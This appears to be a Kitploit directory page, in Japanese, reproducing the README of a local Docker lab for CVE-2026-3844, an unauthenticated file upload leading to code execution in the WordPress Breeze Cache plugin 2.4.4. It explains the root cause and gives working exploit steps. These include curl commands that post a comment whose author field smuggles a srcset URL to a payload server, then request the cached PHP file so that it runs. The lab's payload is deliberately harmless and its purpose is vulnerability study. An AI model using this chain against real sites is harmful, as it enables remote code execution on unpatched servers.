Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-3844-Lab — ローカルDockerラボでCVE-2026-3844を再現します。これはWordPress Breeze Cacheプラグインにおける認証なしの任意ファイルアップロードからRCEに至る脆弱性です。脆弱なバージョン2.4.4と修正済みの2.4.5を、分離されたサービスと最小被害のPoCを使用して比較します。 | Kitploit
ツール/GitHubGitHub/rootdirective-sec/cve-2026-3844-lab
脆弱性分析エクスプロイトウェブアプリケーション悪用CTF学習と教育ラボと実践
GitHubrootdirective-sec/cve-2026-3844-lab

CVE-2026-3844-Lab

ローカルDockerラボでCVE-2026-3844を再現します。これはWordPress Breeze Cacheプラグインにおける認証なしの任意ファイルアップロードからRCEに至る脆弱性です。脆弱なバージョン2.4.4と修正済みの2.4.5を、分離されたサービスと最小被害のPoCを使用して比較します。

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リポジトリを見る
13ヶ月前未レビュー

CVE-2026-3844 — Breeze Cache 認証なし任意ファイルアップロードによるRCEラボ

WordPressのBreeze CacheプラグインにおけるCVE-2026-3844の動作を再現・比較するためのローカル限定Dockerラボです。

このリポジトリは、Breeze Cache 2.4.4 の脆弱な動作を示し、Breeze Cache 2.4.5 のパッチ適用後の動作と比較します。ラボは2つの隔離されたWordPressサービス(脆弱なものとパッチ適用済みのもの)と、Dockerネットワーク内のローカルペイロードサーバーを使用します。

概念実証は意図的に最小限の害に抑えています。Webシェルは使用せず、コマンドパラメータも公開せず、リバースシェルも起動せず、コンテナ内からのファイル読み取りも必要としません。証明はホストからの観測可能なHTTP動作に基づきます。


概要

CVE-2026-3844 は、WordPress用Breeze Cacheプラグインのバージョン 2.4.4 までに影響します。脆弱なコードパスは、プラグインのローカルGravatarキャッシュ機能、特に fetch_gravatar_from_remote() フローに関連しています。

Breezeのオプション Host Files Locally - Gravatars が有効な場合、脆弱なバージョンは攻撃者が制御するリモートファイルを取得し、一般のWebからアクセス可能なキャッシュディレクトリに保存する可能性があります。取得したファイルがPHPの場合、HTTP経由でリクエストされるとWebサーバーによって実行される可能性があります。

このラボでは、その動作をローカルで再現します。

  • vuln サービス:WordPress + Breeze Cache 2.4.4
  • patched サービス:WordPress + Breeze Cache 2.4.5
  • payload サービス:ローカルDocker限定のペイロードサーバー
  • PoC:制御された srcset 文字列を使用した認証なしコメントベースのトリガー

期待される結果:

  • http://127.0.0.1:8081 / Breeze 2.4.4 → PHPがキャッシュされ実行されることを証明
  • http://127.0.0.1:8082 / Breeze 2.4.5 → PHPがキャッシュ/読み取り/実行されないことを証明

リポジトリ構成

root@kitploit:~
.
├── docker-compose.yml
├── vuln/
│   └── Dockerfile
├── patched/
│   └── Dockerfile
├── scripts/
│   └── seed-wordpress.sh
├── payload/
│   └── manual-proof.php
│   └── proof-cve3844.php
├── poc/
│   └── poc.py
│   └── requirements.txt
├── .gitignore
├── README.md

ラボアーキテクチャ

root@kitploit:~
ホストマシン
│
├── http://127.0.0.1:8081  -> vuln WordPress + Breeze 2.4.4
├── http://127.0.0.1:8082  -> patched WordPress + Breeze 2.4.5
└── http://127.0.0.1:9100  -> ローカルペイロードサーバー

Dockerネットワーク
│
├── vuln       -> WordPress脆弱なターゲット
├── patched    -> WordPressパッチ適用済みターゲット
├── vuln_db    -> 脆弱なWordPress用MariaDB
├── patched_db -> パッチ適用済みWordPress用MariaDB
└── payload    -> Python静的HTTPサーバー

WordPressコンテナは、DockerネットワークURLを介してペイロードを取得します:

root@kitploit:~
http://payload:9100/<payload-file>.php

ホストは、WordPressサービスへの通常のHTTPリクエストを通じて結果を確認します。


影響を受けるコンポーネント

  • 製品:WordPress用Breeze Cacheプラグイン
  • このラボの脆弱なバージョン:2.4.4
  • このラボのパッチ適用済みバージョン:2.4.5
  • 脆弱な関数:fetch_gravatar_from_remote()
  • 関連ファイル:inc/class-breeze-cache-cronjobs.php
  • 必要前提条件:breeze-store-gravatars-locally が有効であること

脆弱な動作は、ローカルGravatarキャッシュが有効な場合にのみ到達可能です。このオプションは通常のインストールではデフォルトで無効ですが、このラボでは脆弱なコードパスを再現するために意図的に有効にしています。


根本原因の概要

Breeze Cache 2.4.4 では、Gravatarローカライゼーションフローがアバター関連のHTMLからリモートURLを抽出し、そのURLを fetch_gravatar_from_remote() に渡す可能性があります。

脆弱なバージョンには、リモートファイルに関する十分な検証がありません。

  • Gravatarソースに対する厳格な信頼できるホスト検証がない
  • 保存前の信頼できるファイル拡張子許可リストがない
  • パブリックキャッシュディレクトリに配置する前のMIME/コンテンツ検証がない
  • 取得されたファイルが .php などの危険な拡張子を保持する可能性がある

結果のファイルは以下に保存されます:

root@kitploit:~
/wp-content/cache/breeze-extra/gravatars/

PHPファイルがそこに保存され、Apache/PHP経由でリクエストされると、サーバーがそれを実行します。

Breeze Cache 2.4.5 では、パッチ適用後のフローに検証が追加され、このラボのペイロードが実行可能なPHPとしてキャッシュされるのを防ぎます。ローカル再現では、同じトリガーが 2.4.4 に対しては機能しますが、2.4.5 に対しては証明マーカーが公開されません。


このラボがMUプラグインヘルパーを使用する理由

このラボは、公開ペイロードホストを使用する代わりに、ペイロードサーバーを意図的にローカルに保っています。

WordPressの download_url() とWordPress HTTP APIは、デフォルトで一部のプライベートDockerホスト名や非標準ポートを拒否します。公開されたエクスプロイトスクリプトは、その制限を回避するために公開HTTPSペイロードURLを使用することがよくあります。このラボではそうしません。

再現を完全にローカルに保つために、シードスクリプトはローカル限定の小さなMUプラグインヘルパーをインストールします。これにより:

  • ローカルのDockerペイロードホスト名 payload と payload.local のみを許可
  • ラボのポート 80 と 9100 のみを許可
  • ラボのコメントを自動承認
  • 決定論的なローカルテストのためにコメントフラッドチェックを無効化

このヘルパーはBreezeのソースコードを変更しません。脆弱なサービスとパッチ適用済みサービスの両方が、WP-CLIを通じてインストールされた実際のBreezeプラグインバージョンを使用します。

ヘルパーは、Dockerラボを決定論的かつローカル限定にするためにのみ存在します。


安全モデル

このリポジトリは、ローカルセキュリティ研究およびポートフォリオデモンストレーション専用です。

ガードレール:

  • localhost とDockerネットワークサービスでのみ実行
  • 外部コールバックサーバーなし
  • 公開エクスプロイトターゲットなし
  • リバースシェルなし
  • 対話型シェルなし
  • cmd= ウェブシェル動作なし
  • シークレットや実際の認証情報なし
  • 証明のためのコンテナファイル読み取りなし
  • 証明はHTTP応答動作を通じて観測

PoCペイロードは無害なPHPランタイム情報を出力します:

root@kitploit:~
CVE-2026-3844_LEAST_HARM_PHP_EXEC_PROOF_<nonce>
php_sapi=apache2handler
user=www-data
uid=33
pid=<プロセスID>
host=<コンテナホスト名>

これにより、シェルコマンドを起動せずにコード実行コンテキストを証明します。


必要条件

  • Docker Desktop または Docker Engine
  • Docker Compose v2
  • Python 3.9+
  • Pythonパッケージ:requests

Python依存関係のインストール:

root@kitploit:~
python3 -m venv .venv
source .venv/bin/activate
pip install -r poc/requirements.txt

requirements.txt には以下を含める必要があります:

root@kitploit:~
requests

クイックスタート

ラボをビルドして起動:

root@kitploit:~
docker compose down -v --remove-orphans
docker compose up -d --build

サービスの状態を確認:

root@kitploit:~
docker compose ps

期待されるサービス:

root@kitploit:~
vuln        healthy    http://127.0.0.1:8081
patched     healthy    http://127.0.0.1:8082
payload     running    http://127.0.0.1:9100
vuln_db     healthy
patched_db  healthy

シードログを確認:

root@kitploit:~
docker compose logs --tail=120 vuln
docker compose logs --tail=120 patched

期待されるログ行:

root@kitploit:~
[seed] WordPress ready at http://localhost:8081 with Breeze 2.4.4
[seed] WordPress ready at http://localhost:8082 with Breeze 2.4.5

ラボの準備完了を確認

WordPressのインストールを確認:

root@kitploit:~
docker compose exec vuln wp core is-installed --allow-root --path=/var/www/html
docker compose exec patched wp core is-installed --allow-root --path=/var/www/html

Breezeのバージョンを確認:

root@kitploit:~
docker compose exec vuln wp plugin get breeze --field=version --allow-root --path=/var/www/html
docker compose exec patched wp plugin get breeze --field=version --allow-root --path=/var/www/html

期待される出力:

root@kitploit:~
2.4.4
2.4.5

脆弱な前提条件を確認:

root@kitploit:~
docker compose exec vuln wp option pluck breeze_advanced_settings breeze-store-gravatars-locally --allow-root --path=/var/www/html
docker compose exec patched wp option pluck breeze_advanced_settings breeze-store-gravatars-locally --allow-root --path=/var/www/html

期待される出力:

root@kitploit:~
1
1

WordPressがローカルペイロードサービスを取得できることを確認:

root@kitploit:~
docker compose exec vuln wp eval '
$r = download_url("http://payload:9100/proof-cve3844.php");
if (is_wp_error($r)) { var_dump($r->get_error_message()); exit; }
echo $r . PHP_EOL;
echo file_get_contents($r);
@unlink($r);
' --allow-root --path=/var/www/html

proof-cve3844.php がまだ存在しない場合は、payload/ に一時ファイルを作成するか、PoCを1回実行してください。


PoCの実行

脆弱なサービスに対して実行:

root@kitploit:~
python3 poc/poc.py --base-url http://127.0.0.1:8081

期待される脆弱な結果:

root@kitploit:~
[VULNERABLE-BEHAVIOR] unique PHP proof marker was publicly readable
[+] PHP proof appears to have executed

証明出力例:

root@kitploit:~
CVE-2026-3844_LEAST_HARM_PHP_EXEC_PROOF_<nonce>
php_sapi=apache2handler
user=www-data
uid=33
pid=<pid>
host=<コンテナホスト名>

パッチ適用済みサービスに対して実行:

root@kitploit:~
python3 poc/poc.py --base-url http://127.0.0.1:8082

期待されるパッチ適用済みの結果:

root@kitploit:~
[PATCHED-BEHAVIOR] unique PHP proof marker was not publicly readable

301 Moved Permanently のようなリダイレクトは証明とはみなされません。PoCは一意のマーカーがHTTP応答本文に現れることを要求します。


PoCの動作

PoCは以下のローカルのみのフローを実行します:

  1. payload/ の下に一意のPHP証明ファイルを生成します。
  2. ローカルペイロードサービスを通じて提供します。
  3. 次の値を含むauthor値を持つ認証なしWordPressコメントを投稿します:
root@kitploit:~
x srcset=http://payload:9100/<unique-payload>.php
  1. WordPressの投稿ページをリクエストして、Breezeのアバター処理をトリガーします。
  2. 期待される公開Breezeキャッシュパスをチェックします:
root@kitploit:~
/wp-content/cache/breeze-extra/gravatars/<unique-payload>.php
  1. 一意の証明マーカーがHTTP応答に現れる場合にのみ脆弱性を確認します。
  2. --keep-payload が使用されない限り、生成されたローカルペイロードファイルを削除します。

PoCはターゲットコンテナ内のファイルを読み取りません。証拠はホストからHTTP経由で収集されます。


手動再現

手動ペイロードを作成:

root@kitploit:~
cat > payload/manual-proof.php <<'PHP'
<?php
header('Content-Type: text/plain');

echo "CVE-2026-3844_MANUAL_PROOF\n";
echo "php_sapi=" . php_sapi_name() . "\n";
echo "user=" . get_current_user() . "\n";
echo "uid=" . (function_exists('posix_geteuid') ? posix_geteuid() : getmyuid()) . "\n";
echo "pid=" . getmypid() . "\n";
echo "host=" . gethostname() . "\n";
PHP

ペイロードサーバーがPHPソースを静的テキストとして提供することを確認:

root@kitploit:~
curl -i http://127.0.0.1:9100/manual-proof.php

脆弱なWordPressサービスにコメントを投稿:

root@kitploit:~
curl -i -sS \
  -X POST 'http://127.0.0.1:8081/wp-comments-post.php' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data-urlencode 'comment_post_ID=1' \
  --data-urlencode 'comment_parent=0' \
  --data-urlencode 'author=x srcset=http://payload:9100/manual-proof.php' \
  --data-urlencode '[email protected]' \
  --data-urlencode 'url=' \
  --data-urlencode 'comment=manual CVE-2026-3844 proof' \
  --data-urlencode 'submit=Post Comment'

設定されたWordPressサイトURLホストを通じて投稿をレンダリングし、Breeze処理をトリガー:

root@kitploit:~
curl -sS 'http://localhost:8081/?p=1' >/tmp/cve3844-vuln-render.html
grep -i 'manual-proof.php' /tmp/cve3844-vuln-render.html

期待されるHTML証拠:

root@kitploit:~
alt='x srcset=http://localhost:8081/wp-content/cache/breeze-extra/gravatars/manual-proof.php Avatar'

キャッシュされたPHPファイルをリクエスト:

root@kitploit:~
curl -i 'http://localhost:8081/wp-content/cache/breeze-extra/gravatars/manual-proof.php'

期待される脆弱な証明:

root@kitploit:~
HTTP/1.1 200 OK
Content-Type: text/plain;charset=UTF-8

CVE-2026-3844_MANUAL_PROOF
php_sapi=apache2handler
user=www-data
uid=33
pid=<pid>
host=<コンテナホスト名>

ペイロードログを確認:

root@kitploit:~
docker compose logs --tail=50 payload

期待される出力:

root@kitploit:~
GET /manual-proof.php HTTP/1.1" 200

期待される結果

ターゲットBreezeバージョン期待される結果
http://127.0.0.1:80812.4.4PHP証明が取得、キャッシュ、実行可能
http://127.0.0.1:80822.4.5PHP証明マーカーが公開されない

クリーンアップ

コンテナ、ネットワーク、ボリュームを停止して削除:

root@kitploit:~
docker compose down -v --remove-orphans

必要に応じて生成されたペイロードファイルを削除:

root@kitploit:~
rm -f payload/proof-cve3844-*.php payload/manual-proof*.php

参考情報

  • NVD — CVE-2026-3844:
    https://nvd.nist.gov/vuln/detail/CVE-2026-3844

  • Patchstackデータベース — WordPress Breeze Cacheプラグイン <= 2.4.4 認証なし任意ファイルアップロード(fetch_gravatar_from_remote 経由):
    https://patchstack.com/database/vulnerability/wordpress-breeze-cache-plugin-2-4-4-unauthenticated-arbitrary-file-upload-via-fetch-gravatar-from-remote-vulnerability

  • Wordfence脅威インテリジェンス — Breeze Cache <= 2.4.4 認証なし任意ファイルアップロード:
    https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/breeze/breeze-cache-244-unauthenticated-arbitrary-file-upload-via-fetch-gravatar-from-remote

  • Wordfenceブログ — Breeze Cache脆弱性の活発な悪用に関する報道:
    https://www.wordfence.com/blog/2026/05/attackers-actively-exploiting-critical-vulnerability-in-breeze-cache-plugin/

  • Breeze Cacheプラグインページ:
    https://wordpress.org/plugins/breeze/

  • このラボで使用されるWordPressプラグインのダウンロード:

    • Breeze Cache 2.4.4:
      https://downloads.wordpress.org/plugin/breeze.2.4.4.zip
    • Breeze Cache 2.4.5:
      https://downloads.wordpress.org/plugin/breeze.2.4.5.zip
  • WordPress Plugin Trac — Breezeソースリファレンス、class-breeze-cache-cronjobs.php:
    https://plugins.trac.wordpress.org/browser/breeze/tags/2.4.4/inc/class-breeze-cache-cronjobs.php


免責事項

このプロジェクトは、許可されたローカルセキュリティ研究専用です。所有していない、またはテストする明示的な許可がないシステムに対してPoCを実行しないでください。

ツールをダウンロード
  • WordPress Plugin Trac — Breezeパッチ適用後ソースリファレンス、class-breeze-cache-cronjobs.php:
    https://plugins.trac.wordpress.org/browser/breeze/tags/2.4.5/inc/class-breeze-cache-cronjobs.php